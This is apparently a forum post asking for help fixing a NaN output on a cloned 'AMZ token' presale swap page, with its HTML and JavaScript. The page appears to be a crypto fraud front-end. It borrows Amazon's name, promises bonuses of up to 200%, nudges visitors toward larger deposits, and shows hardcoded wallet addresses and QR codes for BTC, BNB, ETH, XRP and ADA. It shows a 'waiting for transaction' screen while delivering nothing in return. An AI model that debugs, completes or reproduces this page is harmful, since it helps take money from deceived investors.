I am trying to make this website: http://www.amazon-token.sale/presale/swap/ (Please check the functionality). When I am enter crypto value on my project, amazon output value showing Nan. This is my project: https://amazon-token.net/swap/index.php (PLease check). N:B: I am thinking, Original project uesed any api or Php code. I can not solve the problem. Please help me. Its Urgent.Thanks in advance.
Here is my index.php file:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="shortcut icon" href="#" />
<link href="https://fonts.googleapis.com/css2?family=Kanit:wght@500&display=swap" rel="stylesheet" />
<link href="https://fonts.googleapis.com/css2?family=Heebo:wght@600&display=swap" rel="stylesheet" />
<link rel="stylesheet" href="assets/css/swap.css" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link rel="apple-touch-icon-precomposed" href="https://www.amzntoken.net/presale/">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link href="assets/css/all.min.css" rel="stylesheet" />
<title>Pre-Purchase AMZ tokens</title>
</head>
<body>
<div class="overlay hidden">
<div class="overlay-header">
<h4>Select a token</h4>
<p class="close">X</p>
</div>
<hr />
<div class="list">
<div class="crypto-list">
<div class="list-image">
<img class="image-toggle0" src="assets/img/btc.png" />
</div>
<div class="crypto-text">
<h5>BTC</h5>
</div>
</div>
<p>Bitcoin</p>
<div class="crypto-list">
<div class="list-image">
<img class="image-toggle1" src="assets/img/bnb.png" />
</div>
<div class="crypto-text">
<h5>BNB</h5>
</div>
</div>
<p>Binance</p>
<div class="crypto-list">
<div class="list-image">
<img class="image-toggle2" src="assets/img/eth.png" />
</div>
<div class="crypto-text">
<h5>USDT</h5>
</div>
</div>
<p>USDT - ERC20</p>
<div class="crypto-list">
<div class="list-image">
<img class="image-toggle3" src="assets/img/xrp.png" />
</div>
<div class="crypto-text">
<h5>XRP</h5>
</div>
</div>
<p>Ripple</p>
<div class="crypto-list">
<div class="list-image">
<img class="image-toggle4" src="assets/img/eth.png" />
</div>
<div class="crypto-text">
<h5>ETH</h5>
</div>
</div>
<p>Ether</p>
<div class="crypto-list">
<div class="list-image">
<img class="image-toggle5" src="assets/img/ada.png" />
</div>
<div class="crypto-text">
<h5>ADA</h5>
</div>
</div>
<p>Cardano</p>
</div>
</div>
<div class="body">
<div class="main-container">
<div id="preswap">
<div class="header">
<div class="header-left">
<h3><font color="orange">AMZ</font>SWAP</h3>
<br>
<p>Swap one of the accepted crypto currencies to AMZ with up to <font color="lightgreen">200%</font> bonus.<br><br>
After the swap has been completed you will be redirected to the Amazonwallet registration and setup.
During the Pre-Sale Amazonwallets can only be activated with the purchase of AMZ.</p>
</div>
</div>
<div class="second-container">
<img class="guide-arrow" src="assets/img/guide-arrow.png" alt="" />
<div class="container-elements">
<div class="first-row">
<div class="row-left lefty">
<img class="almost" src="assets/img/btc.png" />
<div class="row-left-text">
<p>Swap From:</p>
<h3 class="please" id="symbol">BTC</h3>
</div>
<div class="down-arrow">
<img src="assets/img/down-arrow.png" />
</div>
</div>
<div class="row-right">
<input id="floatTextBox" inputmode="decimal" title="Token Amount" autocomplete="off"
autocorrect="off" type="text" pattern="^[0-9]*[.,]?[0-9]*$" placeholder="0.0" min="0"
minlength="1" maxlength="79" spellcheck="false"
class="sc-gojNiO bbUyug token-amount-input" />
</div>
</div>
<div class="first-row">
<div class="row-left lefty">
<img class="almost2" src="assets/img/shib.png" alt="AMZ" />
<div class="row-left-text">
<p>Swap To:</p>
<h3 class="please2" id="convert">AMZ</h3>
</div>
</div>
<div class="row-right">
<input readonly id="resultBox" inputmode="decimal" title="Token Amount"
autocomplete="off" autocorrect="off" type="text" pattern="^[0-9]*[.,]?[0-9]*$"
placeholder="0.0" min="0" minlength="1" maxlength="79" spellcheck="false"
class="sc-gojNiO bbUyug token-amount-input" />
</div>
</div>
<br>
<center>
<span style="font-family:Heebo;color:lightgreen;" id="bonus"></span>
<br><br>
<span style="font-family:Heebo;color:red;" id="addbonus"></span>
</center>
<hr />
<div class="wallet-btn">
<button id="sbut">Swap to AMZ</button>
</div>
</div>
</div>
</div>
<div id="inswap" style="display:none;">
<div class="header-left">
<img style="width:42px;" src="assets/img/shib.png"><h3 style="margin-left:55px;margin-top:-40px;"> SWAP LAUNCHED</h3>
<br><br>
<p>Deposit <span id="amount">X</span> <span id="currency"></span> by using the QR code or copy the wallet address below.
</p>
</div>
<br><br><br>
<center>
<img id="chartimg" style="width:200px;" src="assets/img/chart1.png">
<br><br>
<div style="justify-content:center;display:flex;padding:10px;background-color:#2c2e34;border-radius:15px;width:280px;">
<span style="font-family:Heebo;font-size:12px;color:white;" id="walletid"> </span>
</div>
<div class="wallet-btn">
<button id="copybutton" style="padding:10px;width:180px;background-color:#ffa500;" id="sbut">COPY ADDRESS</button>
</div>
<br>
<span style="font-family:Heebo;color:#fff;"><i class="fas fa-spinner fa-pulse"></i> Waiting for transaction...
<br><br> <br><font color="red"> PLEASE READ: </font>
<div style="background-color:#262626b0;padding-bottom:28px;margin-top:10px;"><br> <br>Stay on this page until the transaction has been marked as "completed"<br> to be forwarded to the Amazonwallet setup.
</div></span>
</center>
</div>
</div>
</div>
<!--Start of Tawk.to Script-->
<script type="text/javascript">
var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
(function(){
var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
s1.async=true;
s1.src='https://embed.tawk.to/6324d06354f06e12d8952c05/1gd3ss1da';
s1.charset='UTF-8';
s1.setAttribute('crossorigin','*');
s0.parentNode.insertBefore(s1,s0);
})();
</script>
<!--End of Tawk.to Script-->
</body>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/numeric.js"></script>
<script src="assets/js/popup.js"></script>
<script src="assets/js/crypto.js"></script>
<script>
var enabled = 0;
var scoin = 0;
var depositvalue = 0;
//define wallets
let wallets = ["19vyqXVz7efXkKKyk961qevCBZeyhovkzC",
"bnb1jluv4tm6k3xetel3764x6ww62932nu487sskrp",
"0xC6852C1d70B48fEC00310367db4D0103990C2C76",
"rM3jPK9iK7a1rpSmNZJAg2cPX127qWSpSu",
"0xC6852C1d70B48fEC00310367db4D0103990C2C76",
"addr1q95nqxpd2dx5egcc54xq06360mmzpqw3tefexuwpwtrftv7w8klv2rgz2jwwh88y02kg5a7wcx95vm5g6pv5md78cuhsz0zcqq"];
let cname = ["BTC",
"BNB",
"USDT",
"XRP",
"ETH",
"ADA"];
let QR = ["https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=19vyqXVz7efXkKKyk961qevCBZeyhovkzC&chld=L|1&choe=UTF-8",
"https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=bnb1jluv4tm6k3xetel3764x6ww62932nu487sskrp&chld=L|1&choe=UTF-8",
"https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=0xC6852C1d70B48fEC00310367db4D0103990C2C76&chld=L|1&choe=UTF-8",
"https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=rM3jPK9iK7a1rpSmNZJAg2cPX127qWSpSu&choe=UTF-8",
"https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=0xC6852C1d70B48fEC00310367db4D0103990C2C76&choe=UTF-8",
"https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=addr1q95nqxpd2dx5egcc54xq06360mmzpqw3tefexuwpwtrftv7w8klv2rgz2jwwh88y02kg5a7wcx95vm5g6pv5md78cuhsz0zcqq&chld=L|1&choe=UTF-8"];
//enddefine
$("#sbut").click(function () {
if (enabled == 1) {
$("#preswap").slideToggle();
$("#inswap").slideToggle();
document.getElementById("amount").innerHTML = depositvalue;
document.getElementById("currency").innerHTML = cname[scoin-1];
document.getElementById("walletid").innerHTML = wallets[scoin-1];
document.getElementById("chartimg").src= QR[scoin-1];
}
});
$("#copybutton").click(function () {
copy(wallets[scoin-1]);
});
</script>
</html>
Here is my javascript code: numaric.js file
function setInputFilter(textbox, inputFilter) {
["input", "keydown", "keyup", "mousedown", "mouseup", "select", "contextmenu", "drop"].forEach(function (event) {
textbox.addEventListener(event, function () {
if (inputFilter(this.value)) {
this.oldValue = this.value;
this.oldSelectionStart = this.selectionStart;
this.oldSelectionEnd = this.selectionEnd;
} else if (this.hasOwnProperty("oldValue")) {
this.value = this.oldValue;
this.setSelectionRange(this.oldSelectionStart, this.oldSelectionEnd);
} else {
this.value = "";
}
});
});
}
setInputFilter(document.getElementById("floatTextBox"), function (value) {
return /^-?\d*[.]?\d*$/.test(value);
});
crypto.js file
/*
Crypto.js
Handles all the cryptocurrency error-handling and math in our little app/form.
*/
// Create a map of crypto currencies and the mapping of 1 unit of currency to n amount of the target currency.
let convert_to = "USDT";
// Edit the mapping of the currencies in the php file.
let start_crypto = new Array();
var mvalue;
// This function will run once and only once on page-load (i.e. per refresh)
document.addEventListener("DOMContentLoaded", function(){
$.ajax({
url: "./price.txt",
type: "get",
data: {
target_crypto: convert_to
},
success: function(response) {
start_crypto = JSON.parse(response);
}
});
});
//convert M/B
function convertvalue (labelValue)
{
// Nine Zeroes for Billions
return Math.round(Math.abs(Number(labelValue)))
}
// Function that updates the result text-box with the value.
function updateResultBox(starting_crypto, value) {
switch(starting_crypto) {
case 'BTC':
scoin = 1;
if (value < 0.03) {
$("#resultBox")[0].value = "TOO LOW";
document.getElementById("bonus").innerHTML = "<font color=\"red\">To swap to AMZ with bonus you need to deposit <b> 0.03 BTC or higher </b></font>";
disableswap();
} else if (value < 0.1) {
mvalue = 0.1 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[0] * 1.5);
document.getElementById("bonus").innerHTML = "50% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " BTC missing for 100% bonus";
enableswap();
} else if (value < 0.3) {
mvalue = 0.3 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[0] * 2);
document.getElementById("bonus").innerHTML = "100% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " BTC missing for 200% bonus";
enableswap();
} else {
$("#resultBox")[0].value = convertvalue(value * start_crypto[0] * 3);
document.getElementById("bonus").innerHTML = "200% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "";
enableswap();
}
depositvalue = value;
break;
case 'BNB':
scoin = 2;
if (value < 3) {
$("#resultBox")[0].value = "TOO LOW";
document.getElementById("bonus").innerHTML = "<font color=\"red\">To swap to AMZ with bonus you need to deposit <b> 3 BNB or higher </b></font>";
disableswap();
} else if (value < 10) {
mvalue = 10 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 1.5);
document.getElementById("bonus").innerHTML = "50% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " BNB missing for 100% bonus";
enableswap();
} else if (value < 20) {
mvalue = 20 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 2);
document.getElementById("bonus").innerHTML = "100% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " BNB missing for 200% bonus";
enableswap();
} else {
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 3);
document.getElementById("bonus").innerHTML = "200% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "";
enableswap();
}
depositvalue = value;
break;
case 'USDT':
scoin = 3;
if (value < 499) {
$("#resultBox")[0].value = "TOO LOW";
document.getElementById("bonus").innerHTML = "<font color=\"red\">To swap to AMZ with bonus you need to deposit <b> 500 USDT - ERC20 or higher </b></font>";
disableswap();
} else if (value < 800) {
mvalue = 800 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 1.5);
document.getElementById("bonus").innerHTML = "50% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " USDT - ERC20 missing for 100% bonus";
enableswap();
} else if (value < 1600) {
mvalue = 1600 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 2);
document.getElementById("bonus").innerHTML = "100% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " USDT - ERC20 missing for 200% bonus";
enableswap();
} else {
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 3);
document.getElementById("bonus").innerHTML = "200% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "";
enableswap();
}
depositvalue = value;
break;
case 'XRP':
scoin = 4;
if (value < 2000) {
$("#resultBox")[0].value = "TOO LOW";
document.getElementById("bonus").innerHTML = "<font color=\"red\">To swap to AMZ with bonus you need to deposit <b> 2000 XRP or higher </b></font>";
disableswap();
} else if (value < 7000) {
mvalue = 7000 - value;
mvalue = mvalue.toFixed(0);
$("#resultBox")[0].value = convertvalue(value * start_crypto[2] * 1.5);
document.getElementById("bonus").innerHTML = "50% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " XRP missing for 100% bonus";
enableswap();
} else if (value < 20000) {
mvalue = 20000 - value;
mvalue = mvalue.toFixed(0);
$("#resultBox")[0].value = convertvalue(value * start_crypto[2] * 2);
document.getElementById("bonus").innerHTML = "100% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " XRP missing for 200% bonus";
enableswap();
} else {
$("#resultBox")[0].value = convertvalue(value * start_crypto[2] * 3);
document.getElementById("bonus").innerHTML = "200% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "";
enableswap();
}
depositvalue = value;
break;
case 'ETH':
scoin = 5;
if (value < 0.5) {
$("#resultBox")[0].value = "TOO LOW";
document.getElementById("bonus").innerHTML = "<font color=\"red\">To swap to AMZ with bonus you need to deposit <b> 0.5 ETH or higher </b></font>";
disableswap();
} else if (value < 2) {
mvalue = 2 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[3] * 1.5);
document.getElementById("bonus").innerHTML = "50% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " ETH missing for 100% bonus";
enableswap();
} else if (value < 10) {
mvalue = 10 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[3] * 2);
document.getElementById("bonus").innerHTML = "100% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " ETH missing for 200% bonus";
enableswap();
} else {
$("#resultBox")[0].value = convertvalue(value * start_crypto[3] * 3);
document.getElementById("bonus").innerHTML = "200% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "";
enableswap();
}
depositvalue = value;
break;
case 'ADA':
scoin = 6;
if (value < 1000) {
$("#resultBox")[0].value = "TOO LOW";
document.getElementById("bonus").innerHTML = "<font color=\"red\">To swap to AMZ with bonus you need to deposit <b> 1000 ADA or higher </b></font>";
disableswap();
} else if (value < 1200) {
mvalue = 1200 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 1.5);
document.getElementById("bonus").innerHTML = "50% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " ADA missing for 100% bonus";
enableswap();
} else if (value < 1800) {
mvalue = 1800 - value;
mvalue = mvalue.toFixed(2);
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 2);
document.getElementById("bonus").innerHTML = "100% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "Notification: ONLY " + mvalue + " ADA missing for 200% bonus";
enableswap();
} else {
$("#resultBox")[0].value = convertvalue(value * start_crypto[1] * 3);
document.getElementById("bonus").innerHTML = "200% BONUS <img style=\"width:16px;\" src=\"assets/img/shib.png\"> INCLUDED";
document.getElementById("addbonus").innerHTML = "";
enableswap();
}
depositvalue = value;
break;
default:
resetResultBox();
}
}
function enableswap() {
$('#sbut').css('background-color', '#ffa500');
enabled = 1;
}
function disableswap() {
$('#sbut').css('background-color', '#999a9c');
enabled = 0;
}
//copyfunction
function copy(text) {
var input = document.createElement('textarea');
input.innerHTML = text;
document.body.appendChild(input);
input.select();
var result = document.execCommand('copy');
document.body.removeChild(input);
}
// Update the result box to be null.
function resetResultBox() {
$("#resultBox")[0].value = null;
document.getElementById("bonus").innerHTML = "";
disableswap();
}
// Function that runs on change of value in text-box.
$(document).ready(function() {
$("#floatTextBox").on('keyup', function convertInput() {
if($("#floatTextBox").val() && $("#floatTextBox").val() > 0.00000001 && $("#floatTextBox").val() < 1000000000001) {
updateResultBox($(".please").text().trim(), $("#floatTextBox").val());
} else {
resetResultBox();
}
});
});
// Function that runs on change of the coin type.
var symbolNode = document.getElementById('symbol');
var observer = new MutationObserver(function(mutations) {
if($("#floatTextBox").val() && $("#floatTextBox").val() > 0.00000001 && $("#floatTextBox").val() < 1000000000001) {
updateResultBox($(".please").text().trim(), $("#floatTextBox").val());
} else {
resetResultBox();
}
});
var config = { attributes: true, childList: true, characterData: true };
observer.observe(symbolNode, config);